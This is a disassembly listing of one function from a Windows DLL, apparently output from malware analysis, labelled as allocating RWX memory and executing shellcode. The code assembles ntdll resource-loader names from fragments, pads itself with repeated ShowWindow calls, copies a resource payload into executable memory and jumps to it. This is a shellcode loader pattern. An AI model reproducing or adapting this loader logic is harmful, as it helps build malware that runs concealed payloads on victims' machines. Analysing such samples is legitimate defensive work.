Function at 0x10001180
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x154
mov eax, dword [0x1000f090]
xor eax, esp
mov dword [esp + 0x150], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 3
mov ebp, 0xf
push 0x1000dbc4
lea ecx, [esp + 0x14c]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x28], 0x17
mov dword [esp + 0x2c], 0x1e55
mov dword [esp + 0x30], 0x409
mov dword [esp + 0x164], ebp
mov dword [esp + 0x160], ebx
mov byte [esp + 0x150], bl
call fcn.10001ba0
push 5
push str.Acces
lea ecx, [esp + 0x88]
mov dword [esp + 0xa0], ebp
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
call fcn.10001ba0
push 9
push str.sResource
lea ecx, [esp + 0xdc]
mov dword [esp + 0xf4], ebp
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], bl
call fcn.10001ba0
lea eax, [esp + 0xd4]
push eax
lea ecx, [esp + 0x84]
push ecx
lea edx, [esp + 0x14c]
push edx
lea edi, [esp + 0x38]
call fcn.10001ee0
add esp, 8
push eax
lea edi, [esp + 0x130]
call fcn.10001ee0
mov esi, 0x10
add esp, 8
cmp dword [esp + 0x44], esi
jb 0x10001283
mov eax, dword [esp + 0x30]
push eax
call fcn.10002fe9
add esp, 4
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 4
push str.LdrF
lea ecx, [esp + 0xc0]
mov dword [esp + 0x1c], eax
mov dword [esp + 0xd8], ebp
mov dword [esp + 0xd4], ebx
mov byte [esp + 0xc4], bl
call fcn.10001ba0
push 3
push 0x1000dbf0
lea ecx, [esp + 0x6c]
mov dword [esp + 0x84], ebp
mov dword [esp + 0x80], ebx
mov byte [esp + 0x70], bl
call fcn.10001ba0
push 4
push str.Reso
lea ecx, [esp + 0xf8]
mov dword [esp + 0x110], ebp
mov dword [esp + 0x10c], ebx
mov byte [esp + 0xfc], bl
call fcn.10001ba0
push 6
push str.urce_U
lea ecx, [esp + 0xa4]
mov dword [esp + 0xbc], ebp
mov dword [esp + 0xb8], ebx
mov byte [esp + 0xa8], bl
call fcn.10001ba0
lea ecx, [esp + 0x9c]
push ecx
lea edx, [esp + 0xf4]
push edx
lea eax, [esp + 0x6c]
push eax
lea ecx, [esp + 0xc4]
push ecx
lea edi, [esp + 0x58]
call fcn.10001ee0
add esp, 8
push eax
lea edi, [esp + 0x38]
call fcn.10001ee0
add esp, 8
push eax
lea edi, [esp + 0x114]
call fcn.10001ee0
add esp, 8
cmp dword [esp + 0x44], esi
jb 0x10001385
mov edx, dword [esp + 0x30]
push edx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x44], ebp
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
cmp dword [esp + 0x60], esi
jb 0x100013a4
mov eax, dword [esp + 0x4c]
push eax
call fcn.10002fe9
add esp, 4
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
mov esi, dword [esp + 0x110]
mov edi, 0x10
cmp dword [esp + 0x124], edi
jae 0x10001556
lea esi, [esp + 0x110]
push ebx
push 0x40
push 0x3000
push 0x11
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.KERNEL32.dll_VirtualAllocExNuma
cmp eax, ebx
je 0x10001577
mov dword [0x10010000], ebx
mov ecx, dword [esi]
mov dword [eax], ecx
mov edx, dword [esi + 4]
mov dword [eax + 4], edx
mov ecx, dword [esi + 8]
mov dword [eax + 8], ecx
mov edx, dword [esi + 0xc]
mov dword [eax + 0xc], edx
mov cl, byte [esi + 0x10]
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edx
mov byte [eax + 0x10], cl
call esi
mov dword [0x10010af8], eax
mov eax, dword [esp + 0x12c]
cmp dword [esp + 0x140], edi
jae 0x100015bd
lea eax, [esp + 0x12c]
push eax
mov eax, dword [esp + 0x18]
push eax
call esi
lea ecx, [esp + 0x1c]
push ecx
push 0x1000dc04
mov dword [0x10010afc], eax
call fcn.10002fde
add esp, 4
push eax
lea edx, [esp + 0x28]
push edx
push 0x10000000
call dword [0x10010af8]
test eax, eax
jl 0x1000160b
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
push edx
push 0x10000000
call dword [0x10010afc]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFileGather]
test eax, eax
je 0x1000179f
cmp dword [esp + 0x124], edi
jb 0x10001637
mov eax, dword [esp + 0x110]
push eax
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x124], ebp
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0xb4], edi
jb 0x10001665
mov ecx, dword [esp + 0xa0]
push ecx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0xb4], ebp
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
cmp dword [esp + 0x108], edi
jb 0x10001693
mov edx, dword [esp + 0xf4]
push edx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x108], ebp
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
cmp dword [esp + 0x7c], edi
jb 0x100016bb
mov eax, dword [esp + 0x68]
push eax
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
cmp dword [esp + 0xd0], edi
jb 0x100016e0
mov ecx, dword [esp + 0xbc]
push ecx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0xd0], ebp
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], bl
cmp dword [esp + 0x140], edi
jb 0x1000170e
mov edx, dword [esp + 0x12c]
push edx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x140], ebp
mov dword [esp + 0x13c], ebx
mov byte [esp + 0x12c], bl
cmp dword [esp + 0xec], edi
jb 0x1000173c
mov eax, dword [esp + 0xd8]
push eax
call fcn.10002fe9
add esp, 4
mov dword [esp + 0xec], ebp
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
cmp dword [esp + 0x98], edi
jb 0x1000176a
mov ecx, dword [esp + 0x84]
push ecx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x98], ebp
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
cmp dword [esp + 0x15c], edi
jb 0x10001798
mov edx, dword [esp + 0x148]
push edx
call fcn.10002fe9
add esp, 4
xor eax, eax
jmp 0x100019b3
push 0x1000dc08
call fcn.10002fde
add esp, 4
push eax
push 0x1000dc08
call fcn.10002fde
push 0x1000dc08
mov esi, eax
call fcn.10002fde
imul esi, eax
mov eax, dword [esp + 0x1c]
add esp, 8
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
push ecx
mov esi, eax
push edx
push esi
call fcn.100057b0
lea eax, [esp + 0x20]
call fcn.10001040
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push eax
push esi
call fcn.100010d0
mov ecx, dword [esp + 0x24]
add esp, 0x14
push ecx
push esi
call fcn.100026f0
mov edx, dword [eax]
add edx, 0x78
cmp dword [edx + 4], ebx
jne 0x10001824
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10001829
call fcn.100029b0
call eax
push ebx
push ebx
push 0x1000db84
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [esp + 0x124], edi
jb 0x10001852
mov edx, dword [esp + 0x110]
push edx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x124], ebp
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0xb4], edi
jb 0x10001880
mov eax, dword [esp + 0xa0]
push eax
call fcn.10002fe9
add esp, 4
mov dword [esp + 0xb4], ebp
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
cmp dword [esp + 0x108], edi
jb 0x100018ae
mov ecx, dword [esp + 0xf4]
push ecx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x108], ebp
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
cmp dword [esp + 0x7c], edi
jb 0x100018d6
mov edx, dword [esp + 0x68]
push edx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
cmp dword [esp + 0xd0], edi
jb 0x100018fb
mov eax, dword [esp + 0xbc]
push eax
call fcn.10002fe9
add esp, 4
mov dword [esp + 0xd0], ebp
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], bl
cmp dword [esp + 0x140], edi
jb 0x10001929
mov ecx, dword [esp + 0x12c]
push ecx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x140], ebp
mov dword [esp + 0x13c], ebx
mov byte [esp + 0x12c], bl
cmp dword [esp + 0xec], edi
jb 0x10001957
mov edx, dword [esp + 0xd8]
push edx
call fcn.10002fe9
add esp, 4
mov dword [esp + 0xec], ebp
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
cmp dword [esp + 0x98], edi
jb 0x10001985
mov eax, dword [esp + 0x84]
push eax
call fcn.10002fe9
add esp, 4
mov dword [esp + 0x98], ebp
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
cmp dword [esp + 0x15c], edi
jb 0x100019b3
mov ecx, dword [esp + 0x148]
push ecx
call fcn.10002fe9
add esp, 4
mov ecx, dword [esp + 0x160]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10002d21
add esp, 0x154
ret